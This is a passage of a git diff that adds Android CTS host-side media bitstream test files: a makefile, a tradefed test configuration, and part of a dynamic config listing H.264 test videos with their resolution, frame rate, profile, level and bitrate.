diff --git a/hostsidetests/media/bitstreams/Android.mk b/hostsidetests/media/bitstreams/Android.mk
new file mode 100644
index 0000000..6a0cafe
--- /dev/null
+++ b/hostsidetests/media/bitstreams/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_SRC_FILES += $(call all-java-files-under, common/src)
+
+LOCAL_JAVA_LIBRARIES := compatibility-host-util cts-tradefed tradefed
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE := CtsMediaBitstreamsTestCases
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_JAVA_RESOURCE_FILES := $(LOCAL_PATH)/DynamicConfig.xml
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/media/bitstreams/AndroidTest.xml b/hostsidetests/media/bitstreams/AndroidTest.xml
new file mode 100644
index 0000000..c5feef2
--- /dev/null
+++ b/hostsidetests/media/bitstreams/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Sample host test cases">
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsMediaBitstreamsDeviceSideTestApp.apk" />
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaBitstreamsTestCases" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsMediaBitstreamsTestCases.jar" />
+        <option name="runtime-hint" value="6m" />
+    </test>
+</configuration>
diff --git a/hostsidetests/media/bitstreams/DynamicConfig.xml b/hostsidetests/media/bitstreams/DynamicConfig.xml
new file mode 100644
index 0000000..05793ce
--- /dev/null
+++ b/hostsidetests/media/bitstreams/DynamicConfig.xml
@@ -0,0 +1,6248 @@
+<?xml version="1.0"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<dynamicConfig>
+  <entry key="h264/yuv420/8bit/bp/bitrate/crowd_640x360p24f300_1000kbps_bp.mp4">
+    <value>mime=video/avc,size=1587401,width=640,height=360,frame-rate=24,profile=1,level=256,bitrate=1014560,max-bitrate=1307904</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/bitrate/crowd_640x360p25f300_1000kbps_bp.mp4">
+    <value>mime=video/avc,size=1523520,width=640,height=360,frame-rate=25,profile=1,level=256,bitrate=1014240,max-bitrate=1241320</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/bitrate/crowd_640x360p30f300_1000kbps_bp.mp4">
+    <value>mime=video/avc,size=1271039,width=640,height=360,frame-rate=30,profile=1,level=256,bitrate=1015120,max-bitrate=1168008</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/bitrate/crowd_640x360p48f300_1500kbps_bp.mp4">
+    <value>mime=video/avc,size=1191387,width=640,height=360,frame-rate=48,profile=1,level=512,bitrate=1522280,max-bitrate=1645752</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/bitrate/crowd_640x360p50f300_1500kbps_bp.mp4">
+    <value>mime=video/avc,size=1143995,width=640,height=360,frame-rate=50,profile=1,level=512,bitrate=1522528,max-bitrate=1730144</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/bitrate/crowd_640x360p60f300_1500kbps_bp.mp4">
+    <value>mime=video/avc,size=954622,width=640,height=360,frame-rate=60,profile=1,level=512,bitrate=1524048,max-bitrate=1581184</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/bitrate/crowd_854x480p60f300_4000kbps_bp.mp4">
+    <value>mime=video/avc,size=2540889,width=854,height=480,frame-rate=60,profile=1,level=512,bitrate=4062072,max-bitrate=4321768</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/levels/crowd_1280x720p50f32_3600kbps_level_3.2_bp.mp4">
+    <value>mime=video/avc,size=327746,width=1280,height=720,frame-rate=50,profile=1,level=1024,bitrate=4084648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/levels/crowd_1280x720p50f32_3600kbps_level_4_bp.mp4">
+    <value>mime=video/avc,size=327741,width=1280,height=720,frame-rate=50,profile=1,level=2048,bitrate=4084648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/levels/crowd_128x96p50f32_200kbps_level_2_bp.mp4">
+    <value>mime=video/avc,size=13018,width=128,height=96,frame-rate=50,profile=1,level=32,bitrate=150624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/levels/crowd_16x16p50f32_200kbps_level_1_bp.mp4">
+    <value>mime=video/avc,size=5193,width=16,height=16,frame-rate=50,profile=1,level=1,bitrate=52824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/levels/crowd_176x144p50f32_200kbps_level_2_bp.mp4">
+    <value>mime=video/avc,size=13097,width=176,height=144,frame-rate=50,profile=1,level=32,bitrate=151624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/levels/crowd_1920x1080p50f32_8200kbps_level_4.2_bp.mp4">
+    <value>mime=video/avc,size=814724,width=1920,height=1080,frame-rate=50,profile=1,level=8192,bitrate=10171848,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/levels/crowd_1920x1088p50f32_8300kbps_level_5_bp.mp4">
+    <value>mime=video/avc,size=824354,width=1920,height=1088,frame-rate=50,profile=1,level=16384,bitrate=10292296,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/levels/crowd_352x288p50f32_400kbps_level_2.1_bp.mp4">
+    <value>mime=video/avc,size=28452,width=352,height=288,frame-rate=50,profile=1,level=64,bitrate=343472,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/levels/crowd_640x480p50f32_1200kbps_level_3.1_bp.mp4">
+    <value>mime=video/avc,size=96734,width=640,height=480,frame-rate=50,profile=1,level=512,bitrate=1197000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/levels/crowd_64x64p50f32_200kbps_level_2_bp.mp4">
+    <value>mime=video/avc,size=11979,width=64,height=64,frame-rate=50,profile=1,level=32,bitrate=137632,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/levels/crowd_720x480p50f32_1300kbps_level_3_bp.mp4">
+    <value>mime=video/avc,size=105729,width=720,height=480,frame-rate=50,profile=1,level=256,bitrate=1309496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/levels/crowd_720x576p50f32_1600kbps_level_3.1_bp.mp4">
+    <value>mime=video/avc,size=132868,width=720,height=576,frame-rate=50,profile=1,level=512,bitrate=1648680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_100kbps_bp.mp4">
+    <value>mime=video/avc,size=11887,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=132624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_10mbps_bp.mp4">
+    <value>mime=video/avc,size=918418,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11464248,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_16x16part_bp.mp4">
+    <value>mime=video/avc,size=945076,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11797472,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_1mbps_bp.mp4">
+    <value>mime=video/avc,size=86179,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=1061256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_20mbps_bp.mp4">
+    <value>mime=video/avc,size=1832002,width=1280,height=720,frame-rate=50,profile=8,level=4096,bitrate=22884056,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_500kbps_bp.mp4">
+    <value>mime=video/avc,size=42544,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=515824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_5mbps_bp.mp4">
+    <value>mime=video/avc,size=454724,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=5668072,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_allpart_bp.mp4">
+    <value>mime=video/avc,size=873570,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10903656,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_alpha6beta6_bp.mp4">
+    <value>mime=video/avc,size=917408,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11451632,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_alpha6betam6_bp.mp4">
+    <value>mime=video/avc,size=882229,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11011872,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_alpham6beta6_bp.mp4">
+    <value>mime=video/avc,size=882490,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11015136,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_alpham6betam6_bp.mp4">
+    <value>mime=video/avc,size=883277,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11024968,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_aud_bp.mp4">
+    <value>mime=video/avc,size=880422,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10989272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_cnstintra_bp.mp4">
+    <value>mime=video/avc,size=881941,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11008272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_fast_bp.mp4">
+    <value>mime=video/avc,size=859887,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10732608,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_faster_bp.mp4">
+    <value>mime=video/avc,size=853910,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10657912,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_intra16_bp.mp4">
+    <value>mime=video/avc,size=971391,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=12125648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_intra1_bp.mp4">
+    <value>mime=video/avc,size=1857295,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=23204248,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_intra2_bp.mp4">
+    <value>mime=video/avc,size=2227903,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=27835800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_intra300_bp.mp4">
+    <value>mime=video/avc,size=884042,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11034536,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_medium_bp.mp4">
+    <value>mime=video/avc,size=880410,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10989144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_nodblk_bp.mp4">
+    <value>mime=video/avc,size=883669,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11029880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_placebo_bp.mp4">
+    <value>mime=video/avc,size=868980,width=1280,height=720,frame-rate=50,profile=8,level=16384,bitrate=10846448,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qlty51_bp.mp4">
+    <value>mime=video/avc,size=22981,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=271272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp47cqp12_bp.mp4">
+    <value>mime=video/avc,size=105975,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=1308696,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp51_bp.mp4">
+    <value>mime=video/avc,size=64998,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=796480,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp51cqp6_bp.mp4">
+    <value>mime=video/avc,size=64700,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=792760,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ref16_bp.mp4">
+    <value>mime=video/avc,size=875284,width=1280,height=720,frame-rate=50,profile=8,level=16384,bitrate=10925032,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ref1_bp.mp4">
+    <value>mime=video/avc,size=884019,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11034256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ref4_bp.mp4">
+    <value>mime=video/avc,size=880416,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10989208,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_sfast_bp.mp4">
+    <value>mime=video/avc,size=912779,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11393768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_slow_bp.mp4">
+    <value>mime=video/avc,size=887885,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11082584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_slower_bp.mp4">
+    <value>mime=video/avc,size=890999,width=1280,height=720,frame-rate=50,profile=8,level=2048,bitrate=11121584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_spsppsid1_bp.mp4">
+    <value>mime=video/avc,size=880387,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10988872,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_spsppsid31_bp.mp4">
+    <value>mime=video/avc,size=880422,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10989272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_vfast_bp.mp4">
+    <value>mime=video/avc,size=806359,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10063520,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_vslow_bp.mp4">
+    <value>mime=video/avc,size=859925,width=1280,height=720,frame-rate=50,profile=8,level=16384,bitrate=10733160,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_100kbps_bp.mp4">
+    <value>mime=video/avc,size=16874,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=194944,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_10mbps_bp.mp4">
+    <value>mime=video/avc,size=1016348,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=12688344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_16x16part_bp.mp4">
+    <value>mime=video/avc,size=1802151,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=22510896,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_1mbps_bp.mp4">
+    <value>mime=video/avc,size=100876,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=1244944,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_20mbps_bp.mp4">
+    <value>mime=video/avc,size=2064245,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=25787080,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_500kbps_bp.mp4">
+    <value>mime=video/avc,size=53444,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=652048,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_5mbps_bp.mp4">
+    <value>mime=video/avc,size=501088,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=6247600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_allpart_bp.mp4">
+    <value>mime=video/avc,size=1691441,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21127032,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_alpha6beta6_bp.mp4">
+    <value>mime=video/avc,size=1767707,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=22080360,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_alpha6betam6_bp.mp4">
+    <value>mime=video/avc,size=1704258,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21287208,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_alpham6beta6_bp.mp4">
+    <value>mime=video/avc,size=1707540,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21328232,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_alpham6betam6_bp.mp4">
+    <value>mime=video/avc,size=1708536,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21340680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_aud_bp.mp4">
+    <value>mime=video/avc,size=1697007,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21196568,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_cnstintra_bp.mp4">
+    <value>mime=video/avc,size=1703947,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21283320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_fast_bp.mp4">
+    <value>mime=video/avc,size=1663863,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=20782296,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_faster_bp.mp4">
+    <value>mime=video/avc,size=1647304,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=20575320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_intra16_bp.mp4">
+    <value>mime=video/avc,size=1856387,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=23188080,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_intra300_bp.mp4">
+    <value>mime=video/avc,size=1704793,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21293912,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_medium_bp.mp4">
+    <value>mime=video/avc,size=1696991,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21196400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_nodblk_bp.mp4">
+    <value>mime=video/avc,size=1708230,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21336880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_placebo_bp.mp4">
+    <value>mime=video/avc,size=1661778,width=1920,height=1080,frame-rate=50,profile=8,level=32768,bitrate=20756384,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qlty51_bp.mp4">
+    <value>mime=video/avc,size=53878,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=657472,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp47cqp12_bp.mp4">
+    <value>mime=video/avc,size=220827,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=2744336,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp51_bp.mp4">
+    <value>mime=video/avc,size=140700,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=1742744,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp51cqp6_bp.mp4">
+    <value>mime=video/avc,size=139873,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=1732408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_ref16_bp.mp4">
+    <value>mime=video/avc,size=1685291,width=1920,height=1080,frame-rate=50,profile=8,level=32768,bitrate=21050120,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_ref1_bp.mp4">
+    <value>mime=video/avc,size=1705073,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21297408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_ref4_bp.mp4">
+    <value>mime=video/avc,size=1697004,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21196536,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_sfast_bp.mp4">
+    <value>mime=video/avc,size=1768731,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=22093144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_slow_bp.mp4">
+    <value>mime=video/avc,size=1699054,width=1920,height=1080,frame-rate=50,profile=8,level=16384,bitrate=21222184,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_slower_bp.mp4">
+    <value>mime=video/avc,size=1701445,width=1920,height=1080,frame-rate=50,profile=8,level=16384,bitrate=21252032,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_spsppsid1_bp.mp4">
+    <value>mime=video/avc,size=1696972,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21196168,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_spsppsid31_bp.mp4">
+    <value>mime=video/avc,size=1697007,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21196568,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_vfast_bp.mp4">
+    <value>mime=video/avc,size=1537250,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=19199632,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_vslow_bp.mp4">
+    <value>mime=video/avc,size=1635183,width=1920,height=1080,frame-rate=50,profile=8,level=32768,bitrate=20423768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_100kbps_bp.mp4">
+    <value>mime=video/avc,size=11550,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=128400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_10mbps_bp.mp4">
+    <value>mime=video/avc,size=1245571,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=15553648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_1mbps_bp.mp4">
+    <value>mime=video/avc,size=160020,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=1984256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_20mbps_bp.mp4">
+    <value>mime=video/avc,size=2759094,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=34472696,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_500kbps_bp.mp4">
+    <value>mime=video/avc,size=115608,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=1429112,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/bp/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_5mbps_bp.mp4">
+    <value>mime=video/avc,size=626507,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=7815344,max-bitrate=</value>
+  </entry>
